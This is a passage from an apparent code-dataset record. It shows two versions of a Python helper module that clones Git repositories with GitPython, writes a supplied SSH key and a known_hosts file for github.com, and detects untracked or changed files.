init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-5": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) -> Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = (Repo.clone_from(metadata, clone_path)\n if deep_clone else\n Repo.clone_from(metadata, clone_path, depth=1))\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) -> None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(0o400)\n scan = subprocess.run([\n 'ssh-keyscan', '-t', 'rsa', 'github.com'\n ], stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [\n x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

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